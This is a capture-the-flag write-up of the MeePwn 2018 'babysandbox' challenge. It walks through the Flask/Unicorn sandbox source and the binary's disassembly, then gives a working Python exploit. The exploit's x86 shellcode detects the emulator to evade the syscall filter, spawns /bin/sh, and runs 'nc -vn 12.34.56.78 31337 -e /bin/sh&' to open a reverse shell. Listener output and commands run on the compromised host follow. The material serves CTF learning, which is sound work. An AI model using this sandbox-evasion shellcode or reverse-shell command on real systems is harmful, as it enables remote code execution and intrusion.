Meepwn CTF Quals 2018 – babysandbox

The Meepwn CTF Quals 2018 (ctftime.org) ran from 13/07/2018, 19:00 UTC to 15/07/2018 19:00 UTC.

There were a lot of interesting-looking challenges. As always, time was the limiting factor 😉 I managed to spend 2 hours on saturday morning solving the pwn challenge babysandbox.


babysandbox (100 pts)

Challenge description


Do you know Unicorn engine? Let’s bypass my baby sandbox
http://178.128.100.75/

The website:

Source code

When choosing Get Source the source code of the baby sandbox can be viewed:

from __future__ import print_function
from flask import Flask, Response, render_template, session, request, jsonify, send_file
import os
from subprocess import run, STDOUT, PIPE, CalledProcessError
from base64 import b64decode, b64encode
from unicorn import *
from unicorn.x86_const import *
import codecs
import time

app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()


ADDRESS = 0x1000000
sys_fork = 2
sys_read = 3
sys_write = 4
sys_open = 5
sys_close = 6
sys_execve = 11
sys_access = 33
sys_dup	= 41
sys_dup2 = 63
sys_mmap = 90
sys_munmap = 91
sys_mprotect = 125
sys_sendfile = 187
sys_sendfile64 = 239
BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]

# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
	if intno != 0x80:
		uc.emu_stop()
		return
	eax = uc.reg_read(UC_X86_REG_EAX)
	if eax in BADSYSCALL:
		session['ISBADSYSCALL'] = True
		uc.emu_stop()

def test_i386(mode, code):
	try:
		# Initialize emulator
		mu = Uc(UC_ARCH_X86, mode)

		# map 2MB memory for this emulation
		mu.mem_map(ADDRESS, 2 * 1024 * 1024)

		# write machine code to be emulated to memory
		mu.mem_write(ADDRESS, code)

		# initialize stack
		mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)

		
		# handle interrupt ourself
		mu.hook_add(UC_HOOK_INTR, hook_intr)

		# emulate machine code in infinite time
		mu.emu_start(ADDRESS, ADDRESS + len(code))
	except UcError as e:
		print("ERROR: %s" % e)


@app.route('/')
def main():
	if session.get('ISBADSYSCALL') == None:
		session['ISBADSYSCALL'] = False
	return render_template('index.html', name="BABY")

	
@app.route('/source', methods=['GET'])
def resouce():
	return send_file("app.py")

@app.route('/bin', methods=['GET'])
def bin():
	return send_file("/home/babysandbox/babysandbox")

		
@app.route('/exploit', methods=['POST'])
def exploit():
	try:
		data = request.get_json(force=True)
	except Exception:
		return jsonify({'result': 'Wrong data!'})
	
	try:
		payload = b64decode(data['payload'].encode())
	except:
		return jsonify({'result': 'Wrong data!'})
	
	test_i386(UC_MODE_32, payload)
	if session['ISBADSYSCALL']:
		return jsonify({'result': 'Bad Syscall!'})
	try:
		run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
	except CalledProcessError:
		return jsonify({'result': 'Error run file!'})
		
	return jsonify({'result': "DONE!"})
		

if __name__ == '__main__':
	app.run(host='0.0.0.0', port=8080)

So there is a flask web framework running on the server.

The /exploit endpoint accepts a payload, which is passed to the function test_i386 before being passed to the actual binary running on port 9999.

The function test_i386 uses unicorn to set up a basic environment to run the provided payload.

A hook is installed, which is called on every interrupt:

		# handle interrupt ourself
		mu.hook_add(UC_HOOK_INTR, hook_intr)

Within the hook-handler, bad system calls are filtered out:

# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
	if intno != 0x80:
		uc.emu_stop()
		return
	eax = uc.reg_read(UC_X86_REG_EAX)
	if eax in BADSYSCALL:
		session['ISBADSYSCALL'] = True
		uc.emu_stop()

When the payload contains bad system call, the session variable session['ISBADSYSCALL'] is set to True.

When session['ISBADSYSCALL'] is True, the payload is not passed to the actual binary:

	if session['ISBADSYSCALL']:
		return jsonify({'result': 'Bad Syscall!'})
	try:
		run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)

Before we attempt to bypass the sandbox, let’s have a quick look at the binary, which can be retrieved by choosing Get Binary:

root@kali:~# r2 -A bin
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x000005d0]> afl
0x00000000    3 72   -> 73   sym.imp.__cxa_finalize
0x00000538    3 35           sym._init
0x00000570    2 16   -> 32   sym.imp.mprotect
0x00000580    2 16   -> 48   sym.imp.read
0x00000590    2 16   -> 48   sym.imp.mmap
0x000005a0    2 16   -> 48   sym.imp.__libc_start_main
0x000005b0    2 16   -> 48   sym.imp.close
0x000005c0    1 8            fcn.000005c0
0x000005c8    1 8            fcn.000005c8
0x000005d0    1 49           entry0
0x00000602    1 4            fcn.00000602
0x00000610    1 4            sym.__x86.get_pc_thunk.bx
0x00000620    4 55           sym.deregister_tm_clones
0x00000660    4 71           sym.register_tm_clones
0x000006b0    5 71           sym.__do_global_dtors_aux
0x00000700    4 60   -> 56   entry1.init
0x0000073c    1 4            sym.__x86.get_pc_thunk.dx
0x00000740    1 157          sym.main
0x000007e0    4 93           sym.__libc_csu_init
0x00000840    1 2            sym.__libc_csu_fini
0x00000844    1 20           sym._fini
[0x000005d0]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 157
|   sym.main ();
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|              ; XREFS: CALL 0x00000763  CALL 0x0000077b  CALL 0x00000790  CALL 0x000007a1  CALL 0x000007b2
|              ; XREFS: CALL 0x000007c3
|           0x00000740      8d4c2404       lea ecx, dword [local_4h]
|           0x00000744      83e4f0         and esp, 0xfffffff0
|           0x00000747      ff71fc         push dword [ecx - 4]
|           0x0000074a      55             push ebp
|           0x0000074b      89e5           mov ebp, esp
|           0x0000074d      51             push ecx
|           0x0000074e      83ec14         sub esp, 0x14
|           0x00000751      83ec08         sub esp, 8
|           0x00000754      6a00           push 0
|           0x00000756      6aff           push -1
|           0x00000758      6a22           push 0x22                   ; '"'
|           0x0000075a      6a07           push 7
|           0x0000075c      6800010000     push 0x100                  ; "`\b"
|           0x00000761      6a00           push 0
(reloc.mmap_100)
|           0x00000763      e8fcffffff     call reloc.mmap_100           ; RELOC 32 mmap
|           0x00000768      83c420         add esp, 0x20
|           0x0000076b      8945f4         mov dword [local_ch], eax
|           0x0000076e      83ec04         sub esp, 4
|           0x00000771      6800010000     push 0x100                  ; "`\b"
|           0x00000776      ff75f4         push dword [local_ch]
|           0x00000779      6a00           push 0
(reloc.read_124)
|           0x0000077b      e8fcffffff     call reloc.read_124           ; RELOC 32 read
|           0x00000780      83c410         add esp, 0x10
|           0x00000783      83ec04         sub esp, 4
|           0x00000786      6a05           push 5
|           0x00000788      6800010000     push 0x100                  ; "`\b"
|           0x0000078d      ff75f4         push dword [local_ch]
(reloc.mprotect_145)
|           0x00000790      e8fcffffff     call reloc.mprotect_145       ; RELOC 32 mprotect
|           0x00000795      83c410         add esp, 0x10
|           0x00000798      a100000000     mov eax, dword [0]            ; RELOC 32
|           0x0000079d      83ec0c         sub esp, 0xc
|           0x000007a0      50             push eax
(reloc.close_162)
|           0x000007a1      e8fcffffff     call reloc.close_162          ; RELOC 32 close
|           0x000007a6      83c410         add esp, 0x10
|           0x000007a9      a100000000     mov eax, dword [0]            ; RELOC 32
|           0x000007ae      83ec0c         sub esp, 0xc
|           0x000007b1      50             push eax
(reloc.close_179)
|           0x000007b2      e8fcffffff     call reloc.close_179          ; RELOC 32 close
|           0x000007b7      83c410         add esp, 0x10
|           0x000007ba      a100000000     mov eax, dword [0]            ; RELOC 32
|           0x000007bf      83ec0c         sub esp, 0xc
|           0x000007c2      50             push eax
(reloc.close_196)
|           0x000007c3      e8fcffffff     call reloc.close_196          ; RELOC 32 close
|           0x000007c8      83c410         add esp, 0x10
|           0x000007cb      8b45f4         mov eax, dword [local_ch]
|           0x000007ce      ffd0           call eax
|           0x000007d0      b800000000     mov eax, 0
|           0x000007d5      8b4dfc         mov ecx, dword [local_4h_2]
|           0x000007d8      c9             leave
|           0x000007d9      8d61fc         lea esp, dword [ecx - 4]
\           0x000007dc      c3             ret

There is nothing really special. A new memory region is allocated using mmap. Then the payload is stored in this memory using read and finally the payload is executed (call eax).

Solution

Which are the problems we have to face?
–> The binary itself accepts an arbitrary payload. The only think we have to bypass is the unicorn sandbox, which filters out bad systemcalls.
–> If we for example execute '/bin/sh' we cannot directly interact with the shell, because run spawns a new process whose stdin/stdout is not bound to our socket.

How do we solve this problems?
–> The difference between the unicorn sandbox and the actual binary is that the sandbox runs the payload in a clean environment. The binary is in a specific state before the payload is executed by calling eax.
–> This call eax instruction places the return address on the stack. This means that the top-value on the stack is != 0. That is not the case in the clean environment in the sandbox.
–> This means that we can determine if we are in the sandbox, by comparing the top-value on the stack with 0.
–> If the value is 0, we are in the sandbox and just quit (system call exit).
–> If the value is not 0, we are in the binary and run our actual payload (system call execve('/bin/sh')).
–> Because we cannot directly interact with the shell on stdin/stdout, we add a command to the payload, which is executed as a shell-command.

I ended up with the following python-script:

root@kali:~# cat expl.py
#!/usr/bin/env python

from pwn import *
import requests

url = 'http://178.128.100.75'

shellcode = asm(
'mov eax, [esp]\n'
'test eax, eax\n'
'jz _exit\n'        # if (sandbox) goto exit

'xor eax, eax\n'
'push eax\n'
'push 0x68732f2f\n'
'push 0x6e69622f\n'
'mov ebx, esp\n'
'mov ecx, eax\n'
'mov edx, eax\n'
'mov al, 0xb\n'
'int 0x80\n'        # sys_execve('/bin/sh')

'_exit:\n'
'mov ebx, 0\n'
'mov eax, 0x1\n'
'int 0x80'          # sys_exit(0)
)

cmd = 'nc -vn 12.34.56.78 31337 -e /bin/sh&'
shellcode += (0x100-len(shellcode)) * '\x90'
shellcode += cmd + '\n'

s = requests.Session()
s.get(url)
log.info('got session-id: '+s.cookies.get('session'))

r = s.post(url+'/exploit', data='{"payload":"'+shellcode.encode('base64').replace('\n','')+'"}')
log.success('executed cmd \''+cmd+'\'')

The shellcode itself is straightforward: check if the top-value on the stack is 0. If it is not, call sys_execve('/bin/sh') (we are in the actual binary).

I padded the shellcode to 0x100 bytes so that the call to read takes all those 0x100 bytes and the additional bytes (cmd) are interpreted as a shell-command.

I tried different shell-commands noticing that it did not seem to be possible to open a bind-shell. So I used a reverse shell, which is executed as a background job (&), because the run functions times out after 2 seconds, terminating the process if it is not executed as a background job.

Also notice that we first have to retrieve a valid session-id by visiting the main-page in order to assign a value to session['ISBADSYSCALL']:

@app.route('/')
def main():
	if session.get('ISBADSYSCALL') == None:
		session['ISBADSYSCALL'] = False

Otherwise the following line within the /exploit endpoint will raise an unknown key error:

	if session['ISBADSYSCALL']:

Flag

Running the scripts executed the command nc -vn 12.34.56.78 31337 -e /bin/sh& on the server:

root@kali:~# ./expl.py
[*] got session-id: eyJJU0JBRFNZU0NBTEwiOmZhbHNlfQ.DitsXA.NTCr2numdPTm-hvq5VMkhEJMeoY
[+] executed cmd 'nc -vn 12.34.56.78 31337 -e /bin/sh&'

In another terminal a netcat-listener receives the reverse shell:

root@kali:~# nc -lvp 31337
listening on [any] 31337 ...
178.128.100.75: inverse host lookup failed: Unknown host
connect to [192.168.1.30] from (UNKNOWN) [178.128.100.75] 50300
id
uid=1000(babysandbox) gid=1000(babysandbox) groups=1000(babysandbox)
ls -al
total 92
drwxr-xr-x   1 root root 4096 Jul 13 17:47 .
drwxr-xr-x   1 root root 4096 Jul 13 17:47 ..
-rwxr-xr-x   1 root root    0 Jul  9 03:51 .dockerenv
drwxr-xr-x   1 root root 4096 Jul 13 17:46 app
drwxr-xr-x   1 root root 4096 Jul 13 14:48 bin
drwxr-xr-x   2 root root 4096 Apr 24 08:34 boot
drwxr-xr-x   5 root root  340 Jul 14 04:13 dev
drwxr-xr-x   1 root root 4096 Jul 13 14:48 etc
-rw-r--r--   1 root root   53 Jul 13 17:47 flag
drwxr-xr-x   1 root root 4096 Jul  9 03:51 home
-rwxrwxrwx   1 root root   54 Jul  9 02:56 init.sh
drwxr-xr-x   1 root root 4096 Jul  9 02:53 lib
drwxr-xr-x   2 root root 4096 Jul  9 02:53 lib32
drwxr-xr-x   2 root root 4096 May 26 00:44 lib64
drwxr-xr-x   2 root root 4096 Jul  9 02:53 libx32
drwxr-xr-x   2 root root 4096 May 26 00:44 media
drwxr-xr-x   2 root root 4096 May 26 00:44 mnt
drwxr-xr-x   2 root root 4096 May 26 00:44 opt
dr-xr-xr-x 118 root root    0 Jul 14 04:13 proc
drwx------   1 root root 4096 Jul 13 14:49 root
drwxrwxr--   1 root root 4096 Jul 14 04:13 run
drwxr-xr-x   1 root root 4096 Jun  5 21:20 sbin
drwxr-xr-x   2 root root 4096 May 26 00:44 srv
dr-xr-xr-x  13 root root    0 Jul  9 02:56 sys
drwx-wx-wt   1 root root 4096 Jul 14 07:36 tmp
drwxr-xr-x   1 root root 4096 Jul  9 02:53 usr
drwxr-xr-x   1 root root 4096 May 26 00:45 var
cat flag
MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}
exit

Done! The flag is MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect} 🙂